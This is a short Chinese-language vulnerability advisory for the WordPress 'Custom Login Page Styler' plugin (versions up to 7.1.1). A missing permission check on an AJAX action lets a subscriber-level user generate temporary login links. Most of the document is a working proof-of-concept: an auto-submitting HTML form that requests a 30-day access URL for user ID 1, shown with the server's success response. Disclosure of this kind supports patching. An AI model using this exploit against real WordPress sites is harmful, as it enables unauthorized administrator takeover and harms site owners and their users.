ALL In One Custom Login Page <= 7.1.1 - 缺少授权导致已认证(订阅者+)权限提升
适用于 WordPress 的 Custom Login Page Styler – Login Protected Private Site、Change wp-admin login url、WordPress login logo、Temporary admin login access、Rename login、Login customizer、Hide wp-login – Limit Login Attempts – Locked Site 插件,由于对 'lps_generate_temp_access_url' AJAX 操作缺少权限检查,在包括 7.1.1 在内的所有版本中存在权限提升漏洞。这使得具有订阅者(Subscriber)级别及以上访问权限的已认证攻击者能够以其他用户(如订阅者)的身份登录。
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="lps_generate_temp_access_url" />
<input type="hidden" name="user_id" value="1" />
<input type="hidden" name="expiration_time" value="2592000" />
<input type="hidden" name="nonce" value="90cc73ad2a" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
{"success":true,"data":{"temp_url":"https:\/\/wp-dev.ddev.site?temp_access=Osn6apJoSJunYNqOhDsn&user_id=1","message":"Temporary access URL created successfully for 30 Day(s)."}}